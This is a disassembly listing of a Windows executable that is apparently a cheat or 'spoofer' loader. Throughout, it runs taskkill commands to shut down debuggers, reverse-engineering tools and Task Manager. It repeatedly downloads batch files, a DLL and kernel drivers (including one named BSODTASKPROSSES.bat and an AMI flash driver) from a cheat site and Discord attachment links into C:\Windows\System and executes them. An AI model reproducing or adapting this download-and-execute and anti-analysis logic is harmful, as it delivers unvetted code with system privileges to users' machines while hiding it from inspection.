lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_x64dbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_x32dbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ollydbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_die
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.http:__nxtg3ncheats.com_download_WORKINMULTISPOOFERADVACNEDV2_UNDETECTED_WORKING_TRYNACRACKUNDETECTEDMULTSPOOFERV2TRYME_FAK3BATCHFAK3FILETOREPLACRR12.bat
lea rcx, [rbp + 0x560]
call fcn.140077890
nop
lea rdx, str.C:WindowsSystemFAK3BATCHFAK3FILETOREPLACRR12.bat
lea rcx, [rbp + 0x540]
call fcn.140077890
nop
lea rcx, [rbp + 0x540]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x560]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.C:WindowsSystemFAK3BATCHFAK3FILETOREPLACRR12.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.http:__nxtg3ncheats.com_download_WORKINMULTISPOOFERADVACNEDV2_UNDETECTED_WORKING_TRYNACRACKUNDETECTEDMULTSPOOFERV2TRYME_FAK3BATCHFAK3FILETOREPLACRR13.bat
lea rcx, [rbp + 0x520]
call fcn.140077890
nop
lea rdx, str.C:WindowsSystemFAK3BATCHFAK3FILETOREPLACRR13.bat
lea rcx, [rbp + 0x500]
call fcn.140077890
nop
lea rcx, [rbp + 0x500]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x520]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.C:WindowsSystemFAK3BATCHFAK3FILETOREPLACRR13.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_x64dbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_x32dbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ollydbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_die
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.http:__nxtg3ncheats.com_download_WORKINMULTISPOOFERADVACNEDV2_UNDETECTED_WORKING_TRYNACRACKUNDETECTEDMULTSPOOFERV2TRYME_cps.bat
lea rcx, [rbp + 0x4e0]
call fcn.140077890
nop
lea rdx, [0x14037ace0]
lea rcx, [rbp + 0x4c0]
call fcn.140077890
nop
lea rcx, [rbp + 0x4c0]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x4e0]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [0x14037ace0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.http:__nxtg3ncheats.com_download_WORKINMULTISPOOFERADVACNEDV2_UNDETECTED_WORKING_TRYNACRACKUNDETECTEDMULTSPOOFERV2TRYME_testaturownrisk.bat
lea rcx, [rbp + 0x4a0]
call fcn.140077890
nop
lea rdx, [0x14037ad90]
lea rcx, [rbp + 0x480]
call fcn.140077890
nop
lea rcx, [rbp + 0x480]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x4a0]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [0x14037ad90]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.http:__nxtg3ncheats.com_download_WORKINMULTISPOOFERADVACNEDV2_UNDETECTED_WORKING_TRYNACRACKUNDETECTEDMULTSPOOFERV2TRYME_systemspoof.bat
lea rcx, [rbp + 0x460]
call fcn.140077890
nop
lea rdx, [0x14037ae48]
lea rcx, [rbp + 0x440]
call fcn.140077890
nop
lea rcx, [rbp + 0x440]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x460]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [0x14037ae48]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.http:__nxtg3ncheats.com_download_WORKINMULTISPOOFERADVACNEDV2_UNDETECTED_WORKING_TRYNACRACKUNDETECTEDMULTSPOOFERV2TRYME_mcer.bat
lea rcx, [rbp + 0x420]
call fcn.140077890
nop
lea rdx, [0x14037aef8]
lea rcx, [rbp + 0x400]
call fcn.140077890
nop
lea rcx, [rbp + 0x400]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x420]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [0x14037aef8]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.http:__nxtg3ncheats.com_download_WORKINMULTISPOOFERADVACNEDV2_UNDETECTED_WORKING_TRYNACRACKUNDETECTEDMULTSPOOFERV2TRYME_RANDOMBATCHFILE.bat
lea rcx, [rbp + 0x3e0]
call fcn.140077890
nop
lea rdx, [0x14037afb0]
lea rcx, [rbp + 0x3c0]
call fcn.140077890
nop
lea rcx, [rbp + 0x3c0]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x3e0]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [0x14037afb0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rbp + 0x3a0]
call fcn.140077890
nop
lea rdx, str.C:WindowsSystemBSODTASKPROSSES.bat
lea rcx, [rbp + 0x380]
call fcn.140077890
nop
lea rcx, [rbp + 0x380]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x3a0]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_x64dbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_x32dbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ollydbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_die
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.https:__cdn.discordapp.com_attachments_1139053637033803787_1146334553548525649_200PINGBYPASSER.dll
lea rcx, [rbp + 0x360]
call fcn.140077890
nop
lea rdx, str.C:WindowsSystem200PINGBYPASSER.dll
lea rcx, [rbp + 0x340]
call fcn.140077890
nop
lea rcx, [rbp + 0x340]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x360]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.https:__cdn.discordapp.com_attachments_1139053637033803787_1148199975549931632_png.bat
lea rcx, [rbp + 0x320]
call fcn.140077890
nop
lea rdx, str.C:WindowsSystempng.bat
lea rcx, [rbp + 0x300]
call fcn.140077890
nop
lea rcx, [rbp + 0x300]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x320]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.C:WindowsSystempng.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.https:__cdn.discordapp.com_attachments_1139053637033803787_1148200537343393842_PNGBYPASS.bat
lea rcx, [rbp + 0x2e0]
call fcn.140077890
nop
lea rdx, [0x14037b1e0]
lea rcx, [rbp + 0x2c0]
call fcn.140077890
nop
lea rcx, [rbp + 0x2c0]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x2e0]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.C:WindowsSystemPNGBYPASS.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.https:__cdn.discordapp.com_attachments_1139053637033803787_1146334716065235055_200PINGBYPASSER.sys
lea rcx, [rbp + 0x2a0]
call fcn.140077890
nop
lea rdx, str.C:WindowsSystem200PINGBYPASSER.sys
lea rcx, [rbp + 0x280]
call fcn.140077890
nop
lea rcx, [rbp + 0x280]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x2a0]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.C:WindowsSystem200PINGBYPASSER.sys
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.http:__nxtg3ncheats.com_download_WORKINMULTISPOOFERADVACNEDV2_UNDETECTED_WORKING_TRYNACRACKUNDETECTEDMULTSPOOFERV2TRYME_AMIFLDRV64.SYS
lea rcx, [rbp + 0x260]
call fcn.140077890
nop
lea rdx, [0x14037b348]
lea rcx, [rbp + 0x240]
call fcn.140077890
nop
lea rcx, [rbp + 0x240]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x260]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
